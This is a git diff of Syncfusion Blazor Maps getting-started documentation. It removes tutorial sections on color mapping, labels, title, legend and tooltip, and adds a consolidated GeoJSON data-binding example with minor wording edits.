-        <MapsLayer ShapeData='new {dataOptions= "https://cdn.syncfusion.com/maps/map-data/world-map.json"}'
-                   ShapePropertyPath='new string[] {"name"}'
-                   DataSource="SecurityCouncilDetails"
-                   ShapeDataPath="Name" TValue="UNCouncilCountry">
-        </MapsLayer>
-    </MapsLayers>
-</SfMaps>
-
-{% endhighlight %}
-{% endtabs %}
-
-N> For example, consider field names specified in [ShapePropertyPath](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Maps.MapsLayer-1.html#Syncfusion_Blazor_Maps_MapsLayer_1_ShapePropertyPath) and [ShapeDataPath](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Maps.MapsLayer-1.html#Syncfusion_Blazor_Maps_MapsLayer_1_ShapeDataPath) have the same value: **"United States"**. So corresponding color, data label and tooltip related settings will be applied to the **United States** shape.
-
-## Apply color mapping
-
-The color mapping supports customization of shape colors based on the underlying value of shape received from the bound data source. The values from the field name specified in the [ShapeDataPath](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Maps.MapsLayer-1.html#Syncfusion_Blazor_Maps_MapsLayer_1_ShapeDataPath) property will be compared for the shapes with the values in the field name specified in the [ColorValuePath](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Maps.MapsShapeSettings.html#Syncfusion_Blazor_Maps_MapsShapeSettings_ColorValuePath) property in [MapsShapeSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Maps.MapsShapeSettings.html). Also, specify color and value in [MapsShapeColorMapping](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Maps.MapsShapeColorMapping.html). Here, in this example, **"#EDB46F"** is specified for **"Permanent"** and **"#F1931B"** is specified for **"Non-Permanent"**.
-
-{% tabs %}
-{% highlight razor %}
-
-<SfMaps>
-    <MapsLayers>
-        <MapsLayer ShapeData='new {dataOptions= "https://cdn.syncfusion.com/maps/map-data/world-map.json"}'
-                   ShapePropertyPath='new string[] {"name"}'
-                   DataSource="SecurityCouncilDetails"
-                   ShapeDataPath="Name" TValue="UNCouncilCountry">
-            @* Color mapping related configuration *@
-            <MapsShapeSettings Fill="#E5E5E5" ColorValuePath="Membership">
-                <MapsShapeColorMappings>
-                    <MapsShapeColorMapping Value="Permanent" Color='new string[] {"#EDB46F"}'></MapsShapeColorMapping>
-                    <MapsShapeColorMapping Value="Non-Permanent" Color='new string[] {"#F1931B"}'></MapsShapeColorMapping>
-                </MapsShapeColorMappings>
-            </MapsShapeSettings>
-        </MapsLayer>
-    </MapsLayers>
-</SfMaps>
-
-{% endhighlight %}
-{% endtabs %}
-
-![Blazor Maps with Color Mapping](./images/blazor-map-color-mapping.png)
-
-N> Refer [code block](#bind-data-source) to know the property value of **SecurityCouncilDetails**.
-
-## Adding data labels
-
-Label provides information to users about the shapes, and you can enable label text to the shapes in the Maps component by setting the [Visible](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Maps.MapsDataLabelSettings.html#Syncfusion_Blazor_Maps_MapsDataLabelSettings_Visible) property as **true** and field name from data source in the [LabelPath](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Maps.MapsDataLabelSettings.html#Syncfusion_Blazor_Maps_MapsDataLabelSettings_LabelPath) property in [MapsDataLabelSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Maps.MapsDataLabelSettings.html).
-
-{% tabs %}
-{% highlight razor %}
-
-<SfMaps>
-    <MapsLayers>
-        <MapsLayer ShapeData='new {dataOptions= "https://cdn.syncfusion.com/maps/map-data/world-map.json"}'
-                   ShapePropertyPath='new string[] {"name"}'
-                   DataSource="SecurityCouncilDetails"
-                   ShapeDataPath="Name" TValue="UNCouncilCountry">
-            @* To add data labels *@
-            <MapsDataLabelSettings Visible="true" LabelPath="Name" IntersectionAction="IntersectAction.Hide"></MapsDataLabelSettings>
-            <MapsShapeSettings Fill="#E5E5E5" ColorValuePath="Membership">
-                <MapsShapeColorMappings>
-                    <MapsShapeColorMapping Value="Permanent" Color='new string[] {"#EDB46F"}'></MapsShapeColorMapping>
-                    <MapsShapeColorMapping Value="Non-Permanent" Color='new string[] {"#F1931B"}'></MapsShapeColorMapping>
-                </MapsShapeColorMappings>
-            </MapsShapeSettings>
-        </MapsLayer>
-    </MapsLayers>
-</SfMaps>
-
-{% endhighlight %}
-{% endtabs %}
-
-N> Refer [code block](#bind-data-source) to know the property value of **SecurityCouncilDetails**.
-
-![Blazor Maps with Label](./images/blazor-map-label.png)
-
-## Adding title for Blazor Maps
-
-Title can be added to the Maps to provide quick information to the users about the shapes rendered in the component. You can add a title using [Text](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Maps.MapsTitleSettings.html#Syncfusion_Blazor_Maps_MapsTitleSettings_Text) property in [MapsTitleSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Maps.MapsTitleSettings.html).
-
-{% tabs %}
-{% highlight razor %}
-
-<SfMaps>
-    @* To add title *@
-    <MapsTitleSettings Text="Members of the UN Security Council"></MapsTitleSettings>
-    <MapsLayers>
-        <MapsLayer ShapeData='new {dataOptions= "https://cdn.syncfusion.com/maps/map-data/world-map.json"}'
-                   ShapePropertyPath='new string[] {"name"}'
-                   DataSource="SecurityCouncilDetails"
-                   ShapeDataPath="Name" TValue="UNCouncilCountry">
-            <MapsDataLabelSettings Visible="true" LabelPath="Name" IntersectionAction="IntersectAction.Hide"></MapsDataLabelSettings>
-            <MapsShapeSettings Fill="#E5E5E5" ColorValuePath="Membership">
-                <MapsShapeColorMappings>
-                    <MapsShapeColorMapping Value="Permanent" Color='new string[] {"#EDB46F"}'></MapsShapeColorMapping>
-                    <MapsShapeColorMapping Value="Non-Permanent" Color='new string[] {"#F1931B"}'></MapsShapeColorMapping>
-                </MapsShapeColorMappings>
-            </MapsShapeSettings>
-        </MapsLayer>
-    </MapsLayers>
-</SfMaps>
-
-{% endhighlight %}
-{% endtabs %}
-
-N> Refer [code block](#bind-data-source) to know the property value of **SecurityCouncilDetails**.
-
-![Blazor Maps with Title](./images/blazor-map-title.png)
-
-## Enable legend
-
-The legend items are used to denote color mapping categories, and you can show legend for the Maps by setting the [Visible](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Maps.MapsLegendSettings.html#Syncfusion_Blazor_Maps_MapsLegendSettings_Visible) property to **true** in [MapsLegendSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Maps.MapsLegendSettings.html).
-
-{% tabs %}
-{% highlight razor %}
+@using Syncfusion.Blazor.Maps
 
 <SfMaps>
-    <MapsTitleSettings Text="Members of the UN Security Council"></MapsTitleSettings>
-    @* To add legend *@
-    <MapsLegendSettings Visible="true"></MapsLegendSettings>
     <MapsLayers>
         <MapsLayer ShapeData='new {dataOptions= "https://cdn.syncfusion.com/maps/map-data/world-map.json"}'
                    ShapePropertyPath='new string[] {"name"}'
                    DataSource="SecurityCouncilDetails"
                    ShapeDataPath="Name" TValue="UNCouncilCountry">
-            <MapsDataLabelSettings Visible="true" LabelPath="Name" IntersectionAction="IntersectAction.Hide"></MapsDataLabelSettings>
-            <MapsShapeSettings Fill="#E5E5E5" ColorValuePath="Membership">
-                <MapsShapeColorMappings>
-                    <MapsShapeColorMapping Value="Permanent" Color='new string[] {"#EDB46F"}'></MapsShapeColorMapping>
-                    <MapsShapeColorMapping Value="Non-Permanent" Color='new string[] {"#F1931B"}'></MapsShapeColorMapping>
-                </MapsShapeColorMappings>
-            </MapsShapeSettings>
         </MapsLayer>
     </MapsLayers>
 </SfMaps>
 
-{% endhighlight %}
-{% endtabs %}
-
-N> Refer [code block](#bind-data-source) to know the property value of **SecurityCouncilDetails**.
-
-![Blazor Maps with Legend](./images/blazor-map-legend.png)
-
-## Enable tooltip
-
-The tooltip can be used when you cannot display information using the data labels due to space constraints. You can enable tooltip by setting the [Visible](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Maps.MapsTooltipSettings.html#Syncfusion_Blazor_Maps_MapsTooltipSettings_Visible) property to **true** in [MapsLayerTooltipSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Maps.MapsLayerTooltipSettings.html).
-
-{% tabs %}
-{% highlight razor %}
+@code {
+    public List<UNCouncilCountry> SecurityCouncilDetails = new List<UNCouncilCountry>{
+         new UNCouncilCountry { Name= "China", Membership= "Permanent" },
+         new UNCouncilCountry { Name= "France", Membership= "Permanent" },
+         new UNCouncilCountry { Name= "Russia", Membership= "Permanent" },
+         new UNCouncilCountry { Name= "Kazakhstan", Membership= "Non-Permanent" },
+         new UNCouncilCountry { Name= "Poland", Membership= "Non-Permanent" },
+         new UNCouncilCountry { Name= "Sweden", Membership= "Non-Permanent" },
+         new UNCouncilCountry { Name= "United Kingdom", Membership= "Permanent" },
+         new UNCouncilCountry { Name= "United States", Membership= "Permanent" },
+         new UNCouncilCountry { Name= "Bolivia", Membership= "Non-Permanent" },
+         new UNCouncilCountry { Name= "Eq. Guinea", Membership= "Non-Permanent" },
+         new UNCouncilCountry { Name= "Ethiopia", Membership= "Non-Permanent" },
+         new UNCouncilCountry { Name= "Côte d Ivoire", Membership= "Permanent" },
+         new UNCouncilCountry { Name= "Kuwait", Membership= "Non-Permanent" },
+         new UNCouncilCountry { Name= "Netherlands", Membership= "Non-Permanent" },
+         new UNCouncilCountry { Name= "Peru", Membership= "Non-Permanent" }
+    };
 
-<SfMaps>
-    <MapsTitleSettings Text="Members of the UN Security Council"></MapsTitleSettings>
-    <MapsLegendSettings Visible="true"></MapsLegendSettings>
-    <MapsLayers>
-        <MapsLayer ShapeData='new {dataOptions= "https://cdn.syncfusion.com/maps/map-data/world-map.json"}'
-                   ShapePropertyPath='new string[] {"name"}'
-                   DataSource="SecurityCouncilDetails"
-                   ShapeDataPath="Name" TValue="UNCouncilCountry">
-            <MapsDataLabelSettings Visible="true" LabelPath="Name" IntersectionAction="IntersectAction.Hide"></MapsDataLabelSettings>
-            <MapsShapeSettings Fill="#E5E5E5" ColorValuePath="Membership">
-                <MapsShapeColorMappings>
-                    <MapsShapeColorMapping Value="Permanent" Color='new string[] {"#EDB46F"}'></MapsShapeColorMapping>
-                    <MapsShapeColorMapping Value="Non-Permanent" Color='new string[] {"#F1931B"}'></MapsShapeColorMapping>
-                </MapsShapeColorMappings>
-            </MapsShapeSettings>
-            @* To add tooltip for the shape *@
-            <MapsLayerTooltipSettings Visible='true' ValuePath="Name"></MapsLayerTooltipSettings>
-        </MapsLayer>
-    </MapsLayers>
-</SfMaps>
+    public class UNCouncilCountry
+    {
+        public string Name { get; set; }
+        public string Membership { get; set; }
+    };
+}
 
 {% endhighlight %}
 {% endtabs %}
 
-N> Refer [code block](#bind-data-source) to know the property value of **SecurityCouncilDetails**.
+This example demonstrates the complete setup with:
+- The **ShapeData** pointing to the GeoJSON world map
+- The **ShapePropertyPath** set to `"name"` to match shape names
+- The **DataSource** bound to `SecurityCouncilDetails`
+- The **ShapeDataPath** set to `"Name"` to match data source field
 
-![Blazor Maps with Tooltip](./images/blazor-map-tooltip.png)
+N> Please [refer to the section](populate-data#data-binding) for more information on data binding.
 
 N> [View Sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/Maps).
 
@@ -422,4 +260,4 @@ N> [View Sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-
 
 * [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor for server-side application in Visual Studio](https://blazor.syncfusion.com/documentation/getting-started/blazor-server-side-visual-studio)
 
-* [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor for server-side application in .NET Core CLI](https://blazor.syncfusion.com/documentation/getting-started/blazor-server-side-dotnet-cli)
\ No newline at end of file
+* [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor for server-side application in .NET Core CLI](https://blazor.syncfusion.com/documentation/getting-started/blazor-server-side-dotnet-cli)
diff --git a/blazor/maps/getting-started-with-server-app.md b/blazor/maps/getting-started-with-server-app.md
index 707cb1c8d3..a5470a0769 100644
--- a/blazor/maps/getting-started-with-server-app.md
+++ b/blazor/maps/getting-started-with-server-app.md
@@ -3,15 +3,13 @@ layout: post
 title: Getting Started with Blazor Maps in Blazor Server App | Syncfusion
 description: Checkout and learn about getting started with the Blazor Maps component in Blazor Server Application.
 platform: Blazor
-control: Maps
+component: Maps
 documentation: ug
 ---
 
 # Getting Started with Blazor Maps Component in Blazor Server App
 
-This section briefly explains about how to include [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Maps](https://www.syncfusion.com/blazor-components/blazor-map) component in your Blazor Server App using Visual Studio, Visual Studio Code and .NET CLI.
-
-To get start quickly with Blazor Maps, you can check on this [GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/Maps) sample:
+This section briefly explains how to include [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Maps](https://www.syncfusion.com/blazor-components/blazor-map) component in your Blazor Server App using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/).
 
 {% tabcontents %}
 
@@ -87,7 +85,7 @@ N> Configure the appropriate [Interactive render mode](https://learn.microsoft.c
 
 ## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor packages
 
-Install [Syncfusion.Blazor.Maps](https://www.nuget.org/packages/Syncfusion.Blazor.Maps/) NuGet package in your project using the NuGet Package Manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), or the integrated terminal in Visual Studio Code (`dotnet add package`), or the .NET CLI.
+Install the [Syncfusion.Blazor.Maps](https://www.nuget.org/packages/Syncfusion.Blazor.Maps/) NuGet package in your project using the NuGet Package Manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), or the integrated terminal in Visual Studio Code (dotnet add package Syncfusion.Blazor.Maps --version {{ site.releaseversion }}), or the .NET CLI.
 
 Alternatively, run the following command in the Package Manager Console to achieve the same.
 
@@ -105,6 +103,8 @@ N> All Syncfusion Blazor packages are available on [nuget.org](https://www.nuget
 
 After the packages are installed, open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.Maps` namespaces.
 
+N> The `~/` notation represents the root directory of your project. This file is typically located in your project's root folder.
+
 {% tabs %}
 {% highlight C# tabtitle="~/_Imports.razor" %}
 
@@ -116,7 +116,7 @@ After the packages are installed, open the **~/_Imports.razor** file and import
 
 ## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service
 
-Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service in the **Program.cs** file of your Blazor Server App.
+Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service in the **Program.cs** file of your Blazor Server App. This step enables the Syncfusion components to work in your application.
 
 {% tabs %}
 {% highlight C# tabtitle="Program.cs" %}
@@ -132,7 +132,7 @@ builder.Services.AddSyncfusionBlazor();
 
 ## Add script resources
 
-The script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the script reference in the **~/Components/App.razor** file.
+The Syncfusion JavaScript library needs to be included in your application. The script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/common/adding-script-references#static-web-assets). Include the script reference in the **~/Components/App.razor** file (this is the root layout file of your application).
 
 ```html
 
@@ -140,9 +140,9 @@ The script can be accessed from NuGet through [Static Web Assets](https://blazor
 
 ```
 
-N> Check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in Blazor application.
+N> Check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in the Blazor application.
 
-## Add Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Maps component
+## Add Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Maps component with GeoJSON data
 
 Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Maps component in the **~/Components/Pages/Home.razor** file. If the interactivity location is set to `Per page/component`, define a render mode at the top of the `~Pages/Home.razor` file.
 
@@ -151,34 +151,22 @@ N> If the Interactivity Location is set to `Global`, the render mode is automati
 {% tabs %}
 {% highlight razor %}
 
-@* desired render mode define here *@
+@* desired render mode defined here *@
 @rendermode InteractiveServer
 
 {% endhighlight %}
 {% endtabs %}
 
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-<SfMaps>
-</SfMaps>
-
-{% endhighlight %}
-{% endtabs %}
-
-The Maps will not show any content on the web page while running the application because the properties related to the layer are not initialized in the above code.
-
-## Adding GeoJSON data in Blazor Maps layer
-
-Bind GeoJSON data to the Maps to render any geometric shape in SVG (Scalable Vector Graphics) for powerful data visualization of shapes. For example, you can render the World map and make desired customizations on it. You can also add any number of layers in the Maps.
-
-You can use the [ShapeData](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Maps.MapsLayer-1.html#Syncfusion_Blazor_Maps_MapsLayer_1_ShapeData) property in [MapsLayer](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Maps.MapsLayer-1.html) to load the GeoJSON shape data into the Maps component.
+Bind GeoJSON data to the Maps to render any geometric shape in SVG (Scalable Vector Graphics) for powerful data visualization of shapes. You can use the [ShapeData](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Maps.MapsLayer-1.html#Syncfusion_Blazor_Maps_MapsLayer_1_ShapeData) property in [MapsLayer](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Maps.MapsLayer-1.html) to load the GeoJSON shape data into the Maps component.
 
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+<!-- SfMaps is the root container component for the maps -->
 <SfMaps>
+    <!-- MapsLayers contains one or more map layers to display on the map -->
     <MapsLayers>
+        <!-- MapsLayer defines a map layer with shape data and configuration -->
         <MapsLayer ShapeData='new {dataOptions= "https://cdn.syncfusion.com/maps/map-data/world-map.json"}' TValue="string">
         </MapsLayer>
     </MapsLayers>
@@ -189,7 +177,7 @@ You can use the [ShapeData](https://help.syncfusion.com/cr/blazor/Syncfusion.Bla
 
 N> The "world-map.json" file contains the World map GeoJSON data.
 
-* Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Maps component in the default web browser.
+Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Maps component in the default web browser.
 
 {% previewsample "https://blazorplayground.syncfusion.com/embed/hZBzNsUjWcevzcvR?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Maps with GeoJSON Layer](./images/blazor-map.png)" %}
 
@@ -202,21 +190,21 @@ The [DataSource](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Maps.Ma
 
 @code {
     public List<UNCouncilCountry> SecurityCouncilDetails = new List<UNCouncilCountry>{
-         new UNCouncilCountry { Name= "China", Membership= "Permanent"},
+         new UNCouncilCountry { Name= "China", Membership= "Permanent" },
          new UNCouncilCountry { Name= "France", Membership= "Permanent" },
-         new UNCouncilCountry { Name= "Russia", Membership= "Permanent"},
-         new UNCouncilCountry { Name= "Kazakhstan", Membership= "Non-Permanent"},
-         new UNCouncilCountry { Name= "Poland", Membership= "Non-Permanent"},
-         new UNCouncilCountry { Name= "Sweden", Membership= "Non-Permanent"},
-         new UNCouncilCountry { Name= "United Kingdom", Membership= "Permanent"},
-         new UNCouncilCountry { Name= "United States", Membership= "Permanent"},
-         new UNCouncilCountry { Name= "Bolivia", Membership= "Non-Permanent"},
-         new UNCouncilCountry { Name= "Eq. Guinea", Membership= "Non-Permanent"},
-         new UNCouncilCountry { Name= "Ethiopia", Membership= "Non-Permanent"},
-         new UNCouncilCountry { Name= "Côte d Ivoire", Membership= "Permanent"},
-         new UNCouncilCountry { Name= "Kuwait", Membership= "Non-Permanent"},
-         new UNCouncilCountry { Name= "Netherlands", Membership= "Non-Permanent"},
-         new UNCouncilCountry { Name= "Peru", Membership= "Non-Permanent"}
+         new UNCouncilCountry { Name= "Russia", Membership= "Permanent" },
+         new UNCouncilCountry { Name= "Kazakhstan", Membership= "Non-Permanent" },
+         new UNCouncilCountry { Name= "Poland", Membership= "Non-Permanent" },
+         new UNCouncilCountry { Name= "Sweden", Membership= "Non-Permanent" },
+         new UNCouncilCountry { Name= "United Kingdom", Membership= "Permanent" },
+         new UNCouncilCountry { Name= "United States", Membership= "Permanent" },
+         new UNCouncilCountry { Name= "Bolivia", Membership= "Non-Permanent" },
+         new UNCouncilCountry { Name= "Eq. Guinea", Membership= "Non-Permanent" },
+         new UNCouncilCountry { Name= "Ethiopia", Membership= "Non-Permanent" },
+         new UNCouncilCountry { Name= "Côte d Ivoire", Membership= "Permanent" },
+         new UNCouncilCountry { Name= "Kuwait", Membership= "Non-Permanent" },
+         new UNCouncilCountry { Name= "Netherlands", Membership= "Non-Permanent" },
+         new UNCouncilCountry { Name= "Peru", Membership= "Non-Permanent" }
     };
 
     public class UNCouncilCountry
@@ -233,191 +221,60 @@ N> The United Nations Security Council data is referred from [source](https://en
 
 You should also specify the field names in the shape data and data source to the [ShapePropertyPath](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Maps.MapsLayer-1.html#Syncfusion_Blazor_Maps_MapsLayer_1_ShapePropertyPath) and [ShapeDataPath](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Maps.MapsLayer-1.html#Syncfusion_Blazor_Maps_MapsLayer_1_ShapeDataPath) properties, respectively. These are used to identify the appropriate shapes and match the specific data source values to them.
 
-N> Please [refer to the section](populate-data#data-binding) for more information on data binding.
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-<SfMaps>
-    <MapsLayers>
-        @*To map shape data name field and data source field*@
-        <MapsLayer ShapeData='new {dataOptions= "https://cdn.syncfusion.com/maps/map-data/world-map.json"}'
-                   ShapePropertyPath='new string[] {"name"}'
-                   DataSource="SecurityCouncilDetails"
-                   ShapeDataPath="Name" TValue="UNCouncilCountry">
-        </MapsLayer>
-    </MapsLayers>
-</SfMaps>
-
-{% endhighlight %}
-{% endtabs %}
-
-N> For example, consider field names specified in [ShapePropertyPath](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Maps.MapsLayer-1.html#Syncfusion_Blazor_Maps_MapsLayer_1_ShapePropertyPath) and [ShapeDataPath](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Maps.MapsLayer-1.html#Syncfusion_Blazor_Maps_MapsLayer_1_ShapeDataPath) have the same value: **"United States"**. So corresponding color, data label and tooltip related settings will be applied to the **United States** shape.
-
-## Apply color mapping
-
-The color mapping supports customization of shape colors based on the underlying value of shape received from the bound data source. The values from the field name specified in the [ShapeDataPath](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Maps.MapsLayer-1.html#Syncfusion_Blazor_Maps_MapsLayer_1_ShapeDataPath) property will be compared for the shapes with the values in the field name specified in the [ColorValuePath](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Maps.MapsShapeSettings.html#Syncfusion_Blazor_Maps_MapsShapeSettings_ColorValuePath) property in [MapsShapeSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Maps.MapsShapeSettings.html). Also, specify color and value in [MapsShapeColorMapping](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Maps.MapsShapeColorMapping.html). Here, in this example, **"#EDB46F"** is specified for **"Permanent"** and **"#F1931B"** is specified for **"Non-Permanent"**.
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-<SfMaps>
-    <MapsLayers>
-        <MapsLayer ShapeData='new {dataOptions= "https://cdn.syncfusion.com/maps/map-data/world-map.json"}'
-                   ShapePropertyPath='new string[] {"name"}'
-                   DataSource="SecurityCouncilDetails"
-                   ShapeDataPath="Name" TValue="UNCouncilCountry">
-            @* Color mapping related configuration *@
-            <MapsShapeSettings Fill="#E5E5E5" ColorValuePath="Membership">
-                <MapsShapeColorMappings>
-                    <MapsShapeColorMapping Value="Permanent" Color='new string[] {"#EDB46F"}'></MapsShapeColorMapping>
-                    <MapsShapeColorMapping Value="Non-Permanent" Color='new string[] {"#F1931B"}'></MapsShapeColorMapping>
-                </MapsShapeColorMappings>
-            </MapsShapeSettings>
-        </MapsLayer>
-    </MapsLayers>
-</SfMaps>
-
-{% endhighlight %}
-{% endtabs %}
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BthTXCgjWGYITQsB?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Maps with Color Mapping](./images/blazor-map-color-mapping.png)" %}
-
-N> Refer [code block](#bind-data-source) to know the property value of **SecurityCouncilDetails**.
-
-## Adding data labels
-
-Label provides information to users about the shapes, and you can enable label text to the shapes in the Maps component by setting the [Visible](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Maps.MapsDataLabelSettings.html#Syncfusion_Blazor_Maps_MapsDataLabelSettings_Visible) property as **true** and field name from data source in the [LabelPath](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Maps.MapsDataLabelSettings.html#Syncfusion_Blazor_Maps_MapsDataLabelSettings_LabelPath) property in [MapsDataLabelSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Maps.MapsDataLabelSettings.html).
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-<SfMaps>
-    <MapsLayers>
-        <MapsLayer ShapeData='new {dataOptions= "https://cdn.syncfusion.com/maps/map-data/world-map.json"}'
-                   ShapePropertyPath='new string[] {"name"}'
-                   DataSource="SecurityCouncilDetails"
-                   ShapeDataPath="Name" TValue="UNCouncilCountry">
-            @* To add data labels *@
-            <MapsDataLabelSettings Visible="true" LabelPath="Name" IntersectionAction="IntersectAction.Hide"></MapsDataLabelSettings>
-            <MapsShapeSettings Fill="#E5E5E5" ColorValuePath="Membership">
-                <MapsShapeColorMappings>
-                    <MapsShapeColorMapping Value="Permanent" Color='new string[] {"#EDB46F"}'></MapsShapeColorMapping>
-                    <MapsShapeColorMapping Value="Non-Permanent" Color='new string[] {"#F1931B"}'></MapsShapeColorMapping>
-                </MapsShapeColorMappings>
-            </MapsShapeSettings>
-        </MapsLayer>
-    </MapsLayers>
-</SfMaps>
-
-{% endhighlight %}
-{% endtabs %}
-
-N> Refer [code block](#bind-data-source) to know the property value of **SecurityCouncilDetails**.
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rNLJDiKjMPitIelx?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Maps with Label](./images/blazor-map-label.png)" %}
-
-## Adding title for Blazor Maps
-
-Title can be added to the Maps to provide quick information to the users about the shapes rendered in the component. You can add a title using [Text](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Maps.MapsTitleSettings.html#Syncfusion_Blazor_Maps_MapsTitleSettings_Text) property in [MapsTitleSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Maps.MapsTitleSettings.html).
+The following complete example shows a Maps component with the GeoJSON layer and data source binding:
 
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
-<SfMaps>
-    @* To add title *@
-    <MapsTitleSettings Text="Members of the UN Security Council"></MapsTitleSettings>
-    <MapsLayers>
-        <MapsLayer ShapeData='new {dataOptions= "https://cdn.syncfusion.com/maps/map-data/world-map.json"}'
-                   ShapePropertyPath='new string[] {"name"}'
-                   DataSource="SecurityCouncilDetails"
-                   ShapeDataPath="Name" TValue="UNCouncilCountry">
-            <MapsDataLabelSettings Visible="true" LabelPath="Name" IntersectionAction="IntersectAction.Hide"></MapsDataLabelSettings>
-            <MapsShapeSettings Fill="#E5E5E5" ColorValuePath="Membership">
-                <MapsShapeColorMappings>
-                    <MapsShapeColorMapping Value="Permanent" Color='new string[] {"#EDB46F"}'></MapsShapeColorMapping>
-                    <MapsShapeColorMapping Value="Non-Permanent" Color='new string[] {"#F1931B"}'></MapsShapeColorMapping>
-                </MapsShapeColorMappings>
-            </MapsShapeSettings>
-        </MapsLayer>
-    </MapsLayers>
-</SfMaps>
-
-{% endhighlight %}
-{% endtabs %}
-
-N> Refer [code block](#bind-data-source) to know the property value of **SecurityCouncilDetails**.
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VthftCKZWbsaohgF?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Maps with Title](./images/blazor-map-title.png)" %}
-
-## Enable legend
-
-The legend items are used to denote color mapping categories, and you can show legend for the Maps by setting the [Visible](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Maps.MapsLegendSettings.html#Syncfusion_Blazor_Maps_MapsLegendSettings_Visible) property to **true** in [MapsLegendSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Maps.MapsLegendSettings.html).
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
+@using Syncfusion.Blazor.Maps
+@rendermode InteractiveServer
 
 <SfMaps>
-    <MapsTitleSettings Text="Members of the UN Security Council"></MapsTitleSettings>
-    @* To add legend *@
-    <MapsLegendSettings Visible="true"></MapsLegendSettings>
     <MapsLayers>
         <MapsLayer ShapeData='new {dataOptions= "https://cdn.syncfusion.com/maps/map-data/world-map.json"}'
                    ShapePropertyPath='new string[] {"name"}'
                    DataSource="SecurityCouncilDetails"
                    ShapeDataPath="Name" TValue="UNCouncilCountry">
